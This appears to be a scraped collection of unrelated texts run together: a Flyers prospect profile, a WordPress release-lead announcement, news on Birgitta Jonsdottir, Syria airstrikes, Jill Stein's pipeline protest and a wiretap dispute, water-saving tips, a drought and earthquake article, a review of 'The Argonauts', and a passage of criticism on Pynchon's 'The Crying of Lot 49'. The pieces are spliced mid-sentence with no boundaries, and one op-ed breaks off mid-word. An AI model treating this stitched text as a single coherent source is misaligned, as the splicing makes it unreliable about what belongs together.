At 6-foot-7 and 220 pounds, Morin is a physical gift. He might as well be a tower compared to the average male height of 5-foot-6. If he was to make the NHL next season he would tied for the third-tallest defenseman in the NHL with Stars defenseman Jamie Oleksiak. Only Tyler Myers (6’8”) and Zdeno Chára (6’9”) are taller.
Also, he can hit. His physical style can lead to a fair number of penalties, and he has indeed compiled a lot of those — 118 and 129 minutes’ worth over his first two AHL seasons. But yes, he can hit.
Sam Morin, the heat seeking missile lays a giant hit pic.twitter.com/Y6aRaTurzE — Broad Street Hockey (@BroadStHockey) April 22, 2017
Morin looks poised to grab one of the open blue line positions on the Flyers this upcoming season. Come October, expect Morin to be on the Flyers opening night roster — if he succeeds in training camp. While he may not be the “next Chris Pronger,” Morin’s ceiling looks to be that of a top-4 defenseman in the NHL. And for a team with defensive depth like the Flyers, that should be good enough.
How We Voted For Samuel Morin Kurt Al Kelly Allison Jay Charlie Bill Steph Kate Travis Joe Community Kurt Al Kelly Allison Jay Charlie Bill Steph Kate Travis Joe Community 12 8 9 10 14 11 12 10 10 10 10 9
How We Voted At No. 9 Kurt Al Kelly Allison Jay Charlie Bill Steph Kate Travis Joe Community Kurt Al Kelly Allison Jay Charlie Bill Steph Kate Travis Joe Community German Rubtsov Philippe Myers Samuel Morin Anthony Stolarz German Rubtsov German Rubtsov Robert Hagg Felix Sandstrom German Rubtsov Anthony Stolarz Scott Laughton Samuel Morin
How The Community Voted For Samuel Morin Ranking # of Votes Ranking # of Votes 1 12 2 1 3 5 4 3 5 25 6 66 7 84 8 138 9 208 10 141 11 120 12 83 13 61 14 23 15 13 16 14 17 7 18 7 19 4 20 4 21 2 22 1 23 0 24 0 25 1 NR 11
***
Previously on Philadelphia Flyers Summer 2017 25 Under 25:Since WordPress 3.5, we’ve had a rotating release lead. Because of the ever-present demands of the current release’s development cycle, we’ve found it tough to make these appointments well in advance. We’ve always wanted to give leads opportunity to prepare, so they can hit the ground running. (Long term, we’d love for release development to overlap pretty significantly, aided primarily by feature plugin development, but also by branching.)
A release lead determines all important parameters for a release, like schedule, deadlines, which feature plugins are merged; and more generally, scope, goals, vision, and process. They take point when it comes to holding meetings, shepherding contributions, and writing announcement posts and updates. A release lead is a connector and facilitator, identifying bottlenecks and friction wherever they may be. They’re in frequent communication with the developers and plugin teams that are aiming to have something in a given release. The release lead follows what’s being committed, and sets the tone for prioritizing and gardening tickets. Given the constraint of time in hitting deadlines, help with prioritization and ensuring good communication lines are two of the most valuable things a lead can contribute.
Today, I’m excited to announce release leads for both WordPress 4.3 and 4.4.
Konstantin Obenland will lead WordPress 4.3, currently planned for August. Many of you may know @obenland (twitter) from his early work on default themes, but his contributions span across WordPress core. More recently, he shipped the new WordPress.org theme directory. Obenland is a native of Germany and lives in southern California. He’s a code wrangler at Automattic, which donates all of his time to WordPress core and WordPress.org.
Scott Taylor will lead WordPress 4.4, due at the end of the year. A committer since 3.7, @wonderboymusic (twitter) has been plowing through major changes to media and pretty much everything else he can get his hands on. Scott is a Tennessee native and lives in New York City. He’s a senior software engineer on the interactive news team at The New York Times.
You’ll hear from both of them in the coming days and weeks as they start to plan out their releases, including potential features, deputies, and strategies. Congratulations 🎉 and best of luck to both!
Not an April Fools’ joke.Despite potential legal retribution from American authorities, the Icelandic MP and WikiLeaks member who released the infamous ‘Collateral Murder’ video showing US war crimes in Iraq has announced plans to visit the land of the free.
Birgitta Jonsdottir is an Icelandic Member of Parliament who nearly three years ago released a classified video of a US Apache helicopter killing civilians in Iraq. Known as ‘Collateral Murder,’ Jonsdottir made the footage public in a bid to express her support for Bradley Manning, the video's alleged source, who now stands trial for treason. The video was also instrumental in unleashing the witchhunt on WikiLeaks and its founder, Julian Assange.
Jonsdottir is planning to arrive in the US on April 5, despite a strong warning from Reykjavík of possible legal repurcussions. The politician says her trip, which coincides with the third anniversary of the video's release, is her way of saying she refuses to live in fear.
“I don't want to live in the shadows. I don't think I've done anything illegal or that I'm an enemy of the US state, but if they think I've committed a crime, I want to know,” she told The Guardian.
Jónsdóttir also plans to exhibit photographs drawn from the ‘Collateral Murder’ on her itinerary in New York and Los Angeles. In June, the MP hopes to take the exhibition across the US ahead of Manning's trial.
“It's deeply troubling to me that he is the only one suffering the consequences – none of the people responsible for the war crimes in the video have been held accountable,” Jonsdottir says.
Following the release of the video, Washington has tried repeatedly to gain access to Jónsdóttir's private information. In 2011, Twitter was forced to release her user data after a subpoena from Washington demanded personal data from her feed dating back to 2009.
Jonsdottir became the subject of US attention in 2010 when she helped Assange prepare the footage of the Apache attack allegedly leaked by Manning, who was deployed in Iraq at that time. She was responsible for organizing the volunteers, researched details of the footage of a US airstrike in Baghdad on July 12, 2007, and selected stills for distribution to the media. Eight men were killed in the attack, including two Reuters correspondents.
After the video's release, Manning was arrested as the suspected source of the video and a large cache of diplomatic cables that he’d allegedly leaked to Assange. Manning now faces 22 counts of breaching national security, charges punishable with up to life in prison with no chance of parole.
Earlier in February, it was revealed that Iceland refused to cooperate with an FBI investigation into WikiLeaks back in August 2011, with the Icelandic interior minister having “made it clear that people interviewed or interrogated in Iceland should be interrogated by Icelandic police."It's Save Water Wednesday! Consumer Specialist Ric Romero has some helpful hints and money-saving tips to help you conserve during this California drought. Remember, very small changes can make a big difference.
If you washed only full loads of laundry and dishes you could save up to 50 gallons of water per week. And if you need a new clothes washer or dishwasher make sure to compare the water usage between models.
You could save up to 500 gallons of water per month by simply checking your sprinkler system for leaks, overspray and broken sprinkler heads and repair them promptly.
If you install a smart sprinkler controller that adjusts watering based on weather, soil type, amount of shade and plant type, you can save an additional 40 gallons per day.
There is no doubt lush, green lawns are beautiful but so are drought resistant shrubs and plants, plus they require a lot less maintenance. Planting low-water-use plants could mean saving more than half on your water bill. And some water agencies will help pay for the landscaping with a substantial rebate.
One more lawn tip: mulch around your plants to reduce evaporation for additional water savings.
Spending just five minutes in the shower amounts to a savings of 8 gallons each time. While brushing your teeth with the water off you'll save 2 ½ gallons per minute.
Most water agencies offer free low flow shower heads and aerators for your faucets -- just ask them.
Do you have any leaky faucets inside or outside your home? One drip every second adds up to 5 gallons per day of water down the drain.
Toilet leaks can be silent, but they can mean the loss of 20 to 30 gallons of precious water every day. Be sure to test by using food coloring or dye tablets you can get at any home improvement store. Put them in the tank and if the color seeps into the bowl, you have a leak.
Don't use your toilet as wastebasket. Every time you flush a cigarette, tissue or other piece of trash you're wasting 5 to 7 gallons.
Consider buying a dual flush toilet -- it has two flush options: a half flush for liquid waste and a full flush for solid waste. They use 20 percent less water than a standard toilet.Image: Isabel Ochoa Gold.
In one of author Samuel Delany's imagined sci-fi worlds, "nurture streams" replace and expand the category we here on earth currently call "family." Delany doesn't elaborate much on the specifics of his alternative kinship model, but the term is ripe with promise for an expansive reimagining of the variety of ways that we find and give nurturance through our chosen social arrangements, which include, but don't privilege, biological reproduction. Though she doesn't use Delany's term, author Maggie Nelson's fiercely intelligent exploration of her own process of family making in "The Argonauts" certainly realizes its promise. Blending memoir and lyrical essay in a manner reminiscent of her widely acclaimed 2009 book "Bluets," "The Argonauts" recounts the romance and path to motherhood taken with her partner, transgender artist and performer Harry Dodge.
Both are prolific and acclaimed artists: This is Nelson's eight book since her first in 2001, and she has been the recipient of numerous awards including the 2010 Guggenheim in nonfiction and a 2011 National Endowment for the Arts Fellowship in poetry. Dodge has long been on the forefront of transgender and genderqueer artmaking and performance since the 1990s, first as a prominent figure in the San Francisco Mission District spoken word/performance scene then in the groundbreaking 2002 film "By Hook or By Crook" (co-written and directed with Silas Howard) hailed as one of the first transgender narrative feature films, and more recently exhibiting both solo and collaborative sculpture, drawings, and video work with selections appearing in 2014 "Made In LA" at the Hammer Museum and the 2008 Whitney Biennial. Both teach at California Institute of the Arts.
Maggie Nelson, "The Argonauts." | Illustration: Isabel Ochoa Gold.
In "The Argonauts," Nelson lets us into their happy hillside L.A. home where they live with Dodge's 10-year-old from a previous relationship and their baby, now a toddler. While their version of family is not all that uncommon -- indeed they routinely pass as a typical straight family -- Nelson uses her experience to open up a larger and much needed discussion about what counts as family and what it means to take on the position of mother, or nurturer.
In the process of telling their story of queer family making amid a storm of competing discourses around hetero and homo-normativity, Nelson takes on a staggering range of topics -- transgender embodiment, the death of a parent, the isolating pain of child birth, cruising for validation from college professors, the step-parent/step-child relationship, the nearly universal challenge of loving a flawed but "good enough" adult mother, and the limits of language to hold our experiences, to name but a few. With each and every topic touched, Nelson employs a searching inquisitiveness at once brave and enlightening. With no chapter breaks, or even sub-headings, Nelson's restless mind leads us through these topics, stories, and critical conversation with present and remote interlocutors with a seamless precision that, like the gentle wake of the mythic Argo of the title as it glides through the water, ripples with an entire cast of external voices who give a unique texture to the book. These fellow Argonauts range from the heady critical theorists Roland Barthes and Judith Butler, to peers in her New York City and L.A. queer artistic communities such as A.L. Steiner, C.A. Conrad, Catherine Opie and Eileen Myles, among others.
More than interlocutors, Nelson refers to this array of intellectual and artistic influences, some of whom are beloved friends and mentors, others known only through their words on the page, as "the many gendered mothers of my heart" (borrowing the phrase from poet Dana Ward, 57). It is no accident that in this book about queer motherhood and non-normative modes of kinship, the role of certain fellow artists is not one of adjacency, instead they are claimed explicitly as family. Two of Nelson's previous books are works of art criticism, and here we see her address the deeply constitutive power she feels with certain artists and works; they are clearly significant contributors to her nurture stream. For instance, describing her experience of watching "Community Action Center" (directed by A.K. Burns and A.L. Steiner), a self-described porno that vividly explores the mix of pain, pleasure, and aesthetic beauty through a series of sexual vignettes, Nelson reports that parts of it "made that little portal swing open: 'I think we have -- and can have -- a right to be free.' I collect these moments. I know they hold a key" (Foucault qtd, 64). Similarly liberated watching Annie Sprinkle's performance piece "100 Blow Jobs" in which Nelson hears the united voice of all of her many gendered mothers of the heart: "They insist, no matter the evidence marshaled against their insistence: There is nothing you can throw at me that I cannot metabolize, no thing impervious to my alchemy" (123). These scenes of reception recast the act of artistic consumption, from the detached intellectual scene of criticism into a more profound relation (sometimes anyway) of reception of a fundamental substance that is vital to our ability to become who we are. What would it mean to describe the thing offered in these works as a form of nurturance?
Yet, there is a risk in describing art -- especially art by women -- as nurturing; to do so would be to risk seeming somehow vapid, or lacking critical edge. And that risk is one of Nelson's main concerns in "The Argonauts": Why is it so hard to take the mother (or more broadly the caretaker of dependents of any form) seriously? Nelson first exposes the surprisingly unanimous voice of disinterest, if not disdain, running from otherwise disparate quarters of our cultural landscape: from the mainstream -- a Mother's Day issue of the New York Times that includes a categorical renunciation of the inherent banality of any writing by mothers about mothering (a genre maligned as "mommy lit"); from liberal, even feminist, academia -- she recalls attending a colloquium as a graduate student where a well-known feminist scholar was publically eviscerated by another for the "soft-mindedness" of a presentation that attempted to address the representation of the mother from her own position as one (a precursor to Nelson's own work?); and from radical queer politics, where the rise of queers with kids is hailed as the sine qua non of gay assimilationism (regardless of the actual economic or political realities of those families). After exposing the thinly veiled misogyny behind each of these examples, Nelson turns to show us what a queer, feminist, and sharp-minded account of mothering can look like, and how urgently we need it.
Illustration: Isabel Ochoa Gold.
First, she clears space from within the canon of psychoanalytic depictions of the mother/child relationship: "Klein's morbid infant sadism and bad breast, Freud's blockbuster Oedipal saga and freighted fort/da, Lacan's heavy-handed Imaginary and Symbolic -- suddenly none irreverent enough to address the situation of being a baby, of caretaking a baby... I don't want an eros, or a hermanuetics, of my baby. Neither is dirty, neither is mirthful enough" (20). From there she takes her discussion of mothering into places we don't expect it -- alongside heady theory, alongside rough sex, alongside devoted animal loving. It refuses to demean itself or make itself superior, to these other topics, instead nestling in and asserting its own queerness, its own sexuality even. Challenging the careful partitioning off any erotic dimension to the intimate experience of mothering, she provocatively avows that tending to her infant "isn't like a love affair. It is a love affair. Or, rather, it is erotic, romantic, consuming -- but without tentacles" (44).
Illustration: Isabel Ochoa Gold.
In this complicating and recasting of motherhood Nelson doesn't downplay the primacy of caretaking, however. There is no getting around the profound labor of nurturing required to usher a wholly dependent infant into an autonomous self-sustaining individual. Watching her newly crawling baby head for a leaf, she pauses for a moment wishing she didn't always have to be the bad guy, the fun killer who removes "the inappropriate object," but she also recognizes the simple yet profound importance of that role: "You, reader, are alive today, reading this, because someone one adequately policed your mouth exploring" (20). "Argonauts" also deftly avoids becoming an essentialist ode to the divine power of the womb, as Nelson unfailingly maintains an expansive view of the terrain of mothering: "One of the gifts of genderqueer family making -- and animal loving -- is the revelation of caretaking as detachable from -- and attachable to -- any gender any sentient being... [there is] a long history of queers constructing their own families -- be they composed of peers or mentors or loves or ex-lovers or children or non-human animals -- and that presents queer family making as an umbrella category under which baby making might be a subset, rather than the other way around" (72).
Illustration: Isabel Ochoa Gold.
At its heart, "The Argonauts" is a plea for linguistic and intellectual nuance and reminds us of the rigor and patience that it entails. There is no single thesis or tidy polemic here. Nelson thinks through her topics with textured thoroughness and a dogged resistance to simplifications, asking, "How do we explain to a culture frantic for resolution that sometimes the shit stays messy?" (53)
One of these messy areas is the insufficient, yet necessary, categorization of identity into static identifications, what Judith Butler calls "the commodification of identity." Nelson tears at static identity labels, most often the result of imprecise or ossified language, that rarely manage to express the complexity even of the one trait they seek to describe, let alone the intersection of identities that compose the whole breathing, desiring human subject who these very categories both produces and represents. On the language used in California's Proposition 8, for example: "One of the most annoying things about hearing the refrain'same sex marriage' over and over again is that I don't know many -- if any -- queers who think of their desire's main feature as being'same-sex'" (25). Still more complicated is the fact that even important and useful terms like "trans" and "transgender" can cover over profoundly different experiences: "For some 'transitioning' may mean leaving one gender entirely behind, while for others -- like Harry [Dodge], who is happy to identify as a butch on T -- it doesn't" (53). Yet, Nelson is equally adamant that these linguistic shortcomings are not reason to abandon our need to communicate and understand difference altogether, or to naively think we can simply elect not to participate. In fact, her most pointed criticism is reserved for those who champion a post-identity politics, critics who dismiss speakers who name and identify the (minority) position from which they speak; Nelson rails, "Calling the speaker identitarian then serves as an efficient excuse not to listen to her, in which case the listener can resume his role as speaker. And then we can scamper off to yet another conference with Jacques Ranciere, Alain Badiou, Slavoj Zizek, at which we can mediate on Self and Other... all at the feet of yet another great white man pontificating from the podium, just as we've done for centuries" (54). As this passage makes clear, Nelson should not be misunderstood to be anti-labeling or anti-identity. Describing the work of her beloved teacher and mentor "queen" of queer theory Eve Kosofsky Sedgwick, Nelson recalls her famous dogma "Pluralize and Specify!" and explains that to live up to that ideal means to spend "a lot of time talking about that which is more than one, and more than two, but less than infinity.... An activity that demands an attentiveness -- relentlessness even -- whose very rigor tips it into ardor" (62). Nelson could just as easily be describing herself.
Illustration: Isabel Ochoa Gold.
In her hands, the prize of this kind of nuanced refusal of simplifications are soaring passages bound to expand your understanding of what it means to be with and for others. On the simultaneity of her pregnancy with Harry's medical transition: "On the surface, it may have seemed as though your body was becoming more'male,' mine, more and more 'female.' But that's not how it felt on the inside. On the inside, we were two human animals undergoing transformations beside each other, bearing each other loose witness. In other words, we were aging" (83). The rigid, gendered narratives around pregnancy and trans embodiment, are here reframed into a broader, yet still specific, acknowledgement that we all endure a constantly changing relationship to our bodies and those bodies' placement and meaning in culture; thus, the only truly defining difference of transgender bodily experience is the way these changes are scrutinized and sensationalized by others. Try employing this reframing the next time you are discussing Catylnn Jenner and observe how much air enters the room. Addressing the narrative of sacrifice stitched to the caretaking role of mother, Nelson deflates its attending hand wringing over maintaining healthy boundaries in the face of the child's utter dependency, coolly observing: "So far as I can tell, most worthwhile pleasures on this earth slip between gratifying another and gratifying oneself. Some would call that an ethics" (96).
If we were to try to produce a single thesis statement of the book, it would likely circle around this last observation: an ethics of interdependence. But why on earth would we ever subject this splendidly intricate work to that kind of reduction?
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Coalition warplanes said to target Nusra Front headquarters in country’s northwest as separate strikes hit Isis in Iraq and Syria
US-led strikes kill nine at headquarters of al-Qaida's Syria branch, activists say
US-led coalition warplanes targeted the headquarters of al-Qaida-linked militants in northwestern Syria near the Turkish border on Sunday, killing at least nine people, activists said.
The Local Coordination Committees activist collective and the British-based Syrian Observatory for Human Rights said the strikes hit a compound belonging to al-Qaida’s Syria branch, known as the Nusra Front, close to the village of Atmeh in Idlib province.
The Observatory said at least nine Nusra Front militants were killed. There was no immediate comment from the US military or its allies.
US-led coalition conducts 13 air strikes against Isis in Iraq and Syria in 24 hours Read more
A US military statement said 12 strikes had been carried out against Islamic State (Isis) targets in Iraq and one had been carried out on a target in Syria.
Atmeh, located a mile from the frontier with Turkey, is home to a camp where thousands of Syrians displaced by the country’s civil war have found refuge.
US aircraft have targeted Nusra Front fighters and facilities on several occasions as part of the international coalition’s wider campaign against Islamic extremists in Syria and Iraq. The coalition has primarily focused its firepower on Isis, which controls a large chunk of territory straddling both countries.
Also Sunday, Syrian government airstrikes on a rebel-held suburb of Damascus killed at least 10 people, activists said.
The Local Coordination Committees said the air raids on the Arbeen district just east of the Syrian capital killed 10 people and wounded dozens. The Observatory put the death toll at 11 and said more than 50 people were wounded.
Syria’s conflict has killed more than 220,000 people since it began in March 2011.Green Party presidential candidate Jill Stein and Green Party vice presidential candidate Ajamu Baraka have both been charged with misdemeanor counts of criminal trespass and criminal mischief for protesting with the Standing Rock Sioux tribe against the Dakota Access Pipeline, CBS News reports.
Arrest warrants for Stein and Baraka have been issued.
Stein and Baraka traveled to the Red Warrior resistance camp in North Dakota to stand with the water protectors of the Standing Rock Sioux tribe and other First Nations as they fight to stop the construction of the Dakota Access Pipeline, which threatens to contaminate their water and further desecrate their lands.
Stein was captured on video spray-painting construction equipment with the words "I approve this message" in red paint.
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As previously reported by The Root, protests at Standing Rock turned violent last Saturday when security officers attacked the land’s protectors with pepper spray and vicious dogs. According to Steve Sitting Bear, a spokesperson for the Standing Rock Sioux tribe, six people—including a pregnant woman and a small child—were bitten by security dogs. At least 30 people were reportedly pepper-sprayed.
The Department of Justice, the Department of the Army and the Department of the Interior released a joint statement on Friday announcing the halt of the Dakota Access/Bakken Pipeline pending further review. The DOJ has not announced what consequences the owners of the Bakken-Dakota Access Pipeline Project—Energy Transfer Partners and Sunoco Logistics Partners, MarEn Bakken and Phillips 66—will face if they do not heed the DOJ's "request" to "voluntarily" stop construction of the pipeline.
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This isn't the first time Stein's activism has gotten her into trouble with the law. She was also arrested in 2012 while protesting the Keystone XL Pipeline.
During a town hall Wednesday at Souphanouvong University in Luang Prabang, Laos, an attendee asked President Barack Obama what he could do about the destruction of the Standing Rock Sioux tribe's “ancestral land, the supply of clean water and environmental justice as a whole.”
Instead of answering the question directly, Obama said he was not familiar with the status of the Dakota pipeline and focused on what he described as his administration's "investment" in building a relationship with the First Nations.
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Sen. Bernie Sanders spoke about the pipeline in November 2015 and again Sept. 6.
Neither Democratic presidential nominee Hillary Rodham Clinton nor Republican presidential nominee Donald Trump has issued a statement.
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Environmental racism is one of the most critical issues that we face, and it must be rooted out and eradicated wherever it thrives. To that end, the "#NoDAPL Global Weeks of Solidarity Action" will run Sept. 3-17. For more information, visit this website. Find out what items are needed at Red Warrior Camp here.
To follow the movement on social media, follow the hashtags #NoDAPL, #RezpectOurWater and #StandWithStandingRock.Most of us probably didn’t feel the 4.2 magnitude earthquake off the coast of southern Oregon Friday morning, but even the smallest quakes serve as a reminder to many of the devastating nature of the “big ones.”
A recent study from the Nature journal shows that there is a strong correlation between earthquakes and California’s current drought. As groundwater from the San Joaquin Valley is pumped out faster than it can be replenished, it increases the risk of seismic activity along the San Andreas Fault.
California’s current drought, which was declared in 2011, is having a severe impact on the agricultural industry, as well as the environment. But a study published by the journal, Nature, shows the wide range of consequences that human activity can have on local seismic activity.
The Study: The Impact of Droughts on Earthquakes
Researchers noticed that the southern Sierra Nevadas and the Coastal Ranges were rising one to three millimeters a year, or about an inch per decade. They began tracking the movements using a string of GPS sensors planted along the base of the mountain ranges. They speculated about possible causes, but no particular theory stood out.
Satellite data over the last ten years showed that groundwater in California’s Central Valley was being depleted faster than it could refill. Colin Amos, a geologist at the Western Washington University in Bellingham, speculated that the groundwater depletion may be connected to the growing mountain ranges, according to the San Francisco Public Press.
Think of a tarp after a rainstorm, weighed down in the center with rainwater. As the water evaporates, the weight on the center of the tarp decreases, and the tarp flattens out.
The earth’s surface works in the same way, and like the tarp, as the water is depleted from the center, the surface rises. According to the study, this seems to have the capability of triggering earthquakes. Furthermore, research showed that seasonal patterns of small earthquakes correlate with changes in seasonal water usage in California.
The team of researchers studied the effect this would have on the San Andreas Fault, which spans roughly the length of California, and found that while groundwater depletion won’t likely cause the “next big one,” it does illustrate the consequences of fault destabilization over time – a trend that will inevitably have drastic consequences.
The San Francisco Public Press reported that Andrew Michael, a geophysicist at the United States Geological Survey in Menlo Park speculated that while the studies help geologists understand the mechanics of the San Andreas Fault, they are not particularly useful in predicting the next big earthquake, according to CBS.
Bracing for the “big one”
Although the depletion of groundwater has a low probability of triggering the next big earthquake, there is no doubt amongst the scientific community that the “big one” will occur – it’s just a matter of when.
With the memory of the 1989 Loma Prieta earthquake still fresh in many San Franciscan’s minds, the idea of the “big one” hitting an unsuspecting San Francisco is terrifying.
Retrofitting much of San Francisco’s vital infrastructure has become the focus of earthquake preparedness throughout the city. Every structure from the Bay Bridge, to the Transbay tube is, or already has undergone retrofitting to ensure that it withstands the Bay Area’s next big quake.
Additionally the San Francisco public utilities commission is still tackling the daunting task of renovating the city’s aging system of reservoirs, pipelines, and canals.
Aging structures, such as the San Francisco General Hospital, have also become the center of concern in recent years for fear that they may not withstand the a major quake.
In 2011, San Francisco Mayor Edwin Lee wrote in a S.F. Examiner editorial, that since 1989, “almost 200 of the city’s buildings and facilities have been seismically retrofitted to improve their performance and the safety to the public.”
Lee is joined by many officials who stress the need for residents to have a specific plan, and to stock up on emergency goods that may prove useful in the wake of natural disaster.President Donald Trump's pursuit of his unfounded claim that Trump Tower was wiretapped by his predecessor is facing another roadblock, as the Justice Department has asked for an extension on the House Intelligence Committee's initial deadline of Monday.
"The Department of Justice has asked for more time to comply with the House Intelligence Committee's request for information related to possible surveillance of Donald Trump or his associates during the election campaign," Jack Langer, a spokesman for House Intelligence Chairman Rep. Devin Nunes, R-Calif., said in a statement. "We have asked the department to provide us this information before the committee's open hearing scheduled for March 20. If the committee does not receive a response by then, the committee will ask for this information during the March 20 hearing and may resort to a compulsory process if our questions continue to go unanswered."
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In similar news, Sen. Lindsey Graham, R-S.C., told reporters on Monday that he was upset that the Justice Department has yet to respond to a request for any relevant warrant applications and court orders from himself and Sen. Sheldon Whitehouse, D-R.I., who both serve on the Judiciary Committee.
"I'm getting very ill-tempered over this," Graham told reporters. "I expect them to take some time, but Judiciary has control over the FBI — oversight. So I have said, OK, let's keep the committee process in place, regular order, so if the FBI runs over to the Intel committee and they testify there, and they don't respond to my letter, I think that's a mistake, because the FBI is under our jurisdiction."
Graham also warned James Comey, the FBI director, that if his committee doesn't receive a reply, "you'll run afoul of the Judiciary Committee. If I were you, I wouldn't do that. Director Comey, trying to give you a little advice here."Last night was a vivid, real-time illustration of how the media think of the American people: “We’re really interested in how you think! So, please, come in, sit down and... let the professionals ask the questions.”
Man of the people Anderson Cooper, son of Gloria Vanderbilt, and Martha Raddatz, who had President Obama as a guest at her wedding, must have panicked when ordinary Americans invited to what was billed as a town hall debate in St. Louis didn’t ask the questions they were supposed to ask.
Bizarrely, the people were interested in substantive policy questions rather than in doing what the moderators wanted them to do, which was to make like Tom Cruise grilling Jack Nicholson in “A Few Good Men.”
Even when the people asked character-related questions, they asked them politely (“Do you feel you’re modeling appropriate and positive behavior for today’s youth?” was the first question) instead of in the antagon |
to pursue references to Thurn and Taxis, Jay Gould, Emiliano Zapata into extratextual sources to find the biggest players. The struggles among industrial cliques and the tensions among the social philosophies they represent are the stuff of recent history, and they are what Pynchon writes about. That is not to say The Crying of Lot 49 is only about the struggles for supremacy among corporate cliques in this century: it is not. It is also about Oedipa. Through the interlocking holdings of Pierce Inverarity, Oedipa does get glimmers of the "interlocking corporate directorates" C. Wright Mills discusses in The Power Elite. The maaswerk of the text, the level of interconnecting allusions, is the referent, the unquoted melody against which the jazz soloist invents variations, the iddriven and superegocensored expression of the unconscious, the forbidden political message against which the statecensored narrative resonates. As Oedipas story accelerates, the underside of the tapestry/story/melody gets louder, and meanings leap out at the reader who has a trained magic eye. But that is still merely the subtext. Loudly accused of being a softheaded bleedingheart liberal, Mrs. Maas answers: "'Metzger,' Oedipa whispered, embarrassed, 'Im a Young Republican'" (76). This joke is as close as the manifest narrative comes to any explicit party politics. (94) Chapter 6: Most Damning Analogies The manifest narrative of Lot 49 comes to no very conclusive conclusion. Tracking down possible leads, Oedipa comes up with little that makes much more sense to her than this: "Pierce Inverarity was really dead" (177). Her husband, Mucho, her shrink, Hilarius, her "extramarital fella" (153), Metzger, her guide to Tristeros mystery, Driblette, her usedbook seller. Zapf, are all unavailable to her. She is now alone before the question of whether her attempt to track down Tristero has any significance "that mattered to the world" (18182) or is only the result of an elaborate hoax, a joke (167, 170). And if we stand to the entirety of The Crying of Lot 49, overside and underside, as Oedipa Stands to her perplexity, how are we to read the novel? Is it a hoax, a joke on us? Before we can fully appreciate a tentative answer, we need to illuminate some last allusions. When Oedipa visits Emory Bortz, he tells her of an edition of The Couriers Tragedy in the Vatican library, a pornographic version, "illlicit microfilms" of which Bortz "[s]muggled out" of the Vatican in 1961 (154). This datum, together with the earlier name Jesús ArrabalJesus of the suburbs (Spanish arrabal = suburb)evokes the SecondWorldWar Vatican adventures of one James Jesús Angleton, a legendary player in the real CIA, with its suburban Washington campus in Langley, Virginia, the CIA Pynchon has teased us with all along. The young lieutenant James Jesús Angleton became head of the OSSs X2, counterintelligence, Italian desk in London in 1944, and head of X2 for Italy in 1945. His father, Hugh (an early supporter of Mussolini), had been assigned to X2 in Italy in 1943, but was put out of commission when a jeep accident shattered his leg (Loftus 8687). ( V. contains a fatherson team in Italy, Hugh Godolphin, "the Veteran spy" [174], and his chubby son, Evan.) In 1939, while a Student at Yale, Angleton had hosted Ezra Pounds visit to New Haven. Pound, who was making one of his periodic American tours giving poetry readings, was already a resident of Italy, an outspoken Fascist ideologue, a supporter of Mussolini, and would become an antiU.S. radio propagandist during the war (Heymann 87). Ultimately, Angleton became chief of CIA counterintelligence, a position he held for a generation before, like Forrestal and McCarthy, he finally went mad. Near the end of the war, in a scenario at least as complicated as The Couriers Tragedy, Angleton set up an Underground railroad running out of Germany, into the Vatican and out again. Aarons and Loftuss Unholy Trinity presents a detailed and well documented account of this (95) operation. Angleton smuggled Nazi intelligence agents who, it was thought, would be helpful against the Soviets in the already anticipated Cold War. He smuggled jewelry and other artifacts, cash, banking records, intelligence files and goldrailroad cars filled with gold bullion. Some of the gold was the property of German industrialists and bankers; some was the gold of New York and London bankers and financiers; but most was the gold of the corporations and the governments of the countries Germany had conquered and occupied. 17 Angletons underground railroad smuggled people and assets from Germany, through Switzerland (under the supervision of the OSSs Allen Dulles), to the Vatican, then out of Italy to Argentina, Australia, Canada and, of course, the United States. Angleton forged a series of documents he alleged originated in the Vatican to cover the trail of this underground railroad and to throw off British, Soviet and American intelligence. His actions were treasonous: the war was not yet over, and he was giving aid and comfort to the enemy. A traitor, Angleton had to cover his trail. While he was at it, he had a rare opporunity to conceal various wartime financial transactions and negotiations between German and American corporations, especially clients of the Dulles brothers. Which brings us to the Vessel affair. Angleton created a fictitious Vatican spy, codenamed Vessel, with the help of Monsignor Domenico Tardini. Vessel would provide Angleton with cover in the event the scheme was discovered. 18 ( The Couriers Tragedy features a treacherous Domenico.) "Tardini had just the fall guy in mind: Virgilio Scattolini, a pornographer who supposedly had seen the light of God and obtained a job on the Vatican newspaper.... it was a small step to promote him to master forger of Vatican intelligence" (Loftus 92, 93). The OSSs chief of secret intelligence for Italy, Vincent Scamporino, would verify the forged documents, which were then sent on to the White House. The elaborate scheme, managed from "Angletons OSS office in Rome at 59 Via Sicilia" (Loftus 94), defrauded two U.S. presidents, Roosevelt and Truman, with bogus intelligence (forged Vatican) reports. The intelligence group believed their activities were more important than the presidency in 1945. 19 It sounds Pynchonian; the tardy Tardini provides a patsy in the person of the scatological Scattolini, whom the scampish Scamporino vouches for as the one true source of legitimate intelligence within the Vatican, a source who turns out to be a forgerall to protect James Jesús Angleton from exposure as a traitor on behalf of Dulles and his Nazi clients. It may seem a stretch from Bortzs smuggled microfilm of a book in the Vatican library to the history of forged wartime Vatican intelligence, (96) from Jesús Arrabal and his CIA to James Jesús Angleton and his CIA; but this is where Pynchons incomplete analogies lead. Misdirection has worked this way in Pynchons fiction since his first short story, leading us from something in the text to something outside the text, from profane parody or sometimes apolitical events on the overside of the tapestry to sacred meaning or historicalpolitical significance on the underside, through the window where passage betwen the two worlds is possible: through switch words and halfnames and double meanings that have relevance on both sides of the tapestry. When we read with a magic eye, these surprising associations leap out. Angleton and the Vessel affair provide the answer to the question of how a decimated, devastated Germany rebounded to become the strongest economic force in postwar Europe. Germany recovered with the help of John Foster Dulles, Allen Welsh Dulles, James V. Forrestal, James Jesús Angleton, and the CIA (and its predecessor, the OSS), and with the help of gold recycled through Argentina by way of the Vatican. Conversely, at the end of the First World War, the Rothchilds, the Morgans, and the Pynchons of Pynchon & Co. were among the worlds richest people. They survived the Second World War with muchreduced status, money and power, while many exNazi German industrialists became some of the world games biggest powerplayers, some of the worlds richest men. 20 What might Pynchons fiction be like if his family had been on the other sidetales of corporate intrigue, like those of Louis Auchincloss? Implicit in Pynchons fiction is the view that events in recent American history have led to a virtual constitutional crisis, a challenge to the supremacy of the presidency by the intelligence community. Many of the events in Lot 49 have to do, however indirectly, with this crisis. In his farewell address to the nation, January 17, 1961, President Eisenhower said: In the councils of Government, we must guard against the acquisition of unwarranted influence, whether sought or unsought, by the militaryindustrial complex. The potential for the disastrous rise of misplaced power exists and will exist. We must never let the weight of this combination endanger our liberties or democratic processes. We should remember the events against which this warning about the militaryindustrial complex resonates. When Eisenhower made his "open skies" proposal, in July 21, 1955, at a Geneva summit conference, calling for unrestricted but monitored overflight of national territories on both sides of 